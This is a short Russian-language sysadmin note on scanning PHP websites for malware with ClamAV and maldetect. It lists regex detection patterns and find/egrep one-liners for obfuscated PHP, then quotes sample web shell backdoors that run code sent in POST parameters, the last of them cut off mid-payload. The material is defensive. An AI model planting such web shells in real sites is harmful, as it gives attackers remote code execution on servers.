PHP: antivirus website check
Автоматизированное сканирование:
Базовая установка:
yum install clamav -y
cd /root/install
rm -rf maldetect-*
wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
tar xfz maldetect-current.tar.gz
cd maldetect-*
./install.sh
cd ~ && rm -rf /root/install/maldetect-* && rm -rf /etc/cron.daily/maldet
echo ".avi
.jpg
.flv
.png " > /usr/local/maldetect/ignore\_file\_ext
Сканирование:
freshclam ; maldet -u ; maldet -d ;
maldet --scan-all /home/
Ручная проверка на предмет подозрительных файлов:
Подозриельность определяеся наличием следующих комбинаций, которые находятся в одной строке файла:
eval.*str_rot13
eval.*base64_decode
eval.*gzinflate
file\_put\_contents.*base64_decode
base64_encode.*eval
eval.\*(.\*GLOBAL.*(
isset.\*(.\*eval.*(
Однострочники такие:
#
find /var/www/\*/data/www/\*/wp-content/uploads/ /home/\*/domains/\*/\*/wp-content/uploads/ /home/\*/\*/wp-content/uploads/ -iname "\*.php"
find /home/ -type f -iname "\*.php" -exec egrep -l 'eval.\*str\_rot13|eval.\*base64\_decode|eval.\*gzinflate|file\_put\_contents.\*base64\_decode|base64\_encode.\*eval|eval.\*\(.\*GLOBAL.\*\(|isset.\*\(.\*eval.\*\(|\w{525,}' {} \;
#
На что еще можно обратить внимание:
@system("killall
file\_put\_contents('1.txt
assert(
FuncQueueObject
\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65 # == base64_decode
\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65 # == gzinflate
Интересные примеры:
<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['pass']);?>
<?php ($b4dboy = $_POST['gnm']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); ?>
<?php function OLsy($yzcW){
$code='bas'.'e64_d'.'eco'.'de';
$yzcW=gzinflate($code($yzcW));
for($i=0;$i<strlen($yzcW);$i++)
{
$yzcW[$i] = chr(ord($yzcW[$i])-1);
}
return $yzcW;
}eval(OLsy("
...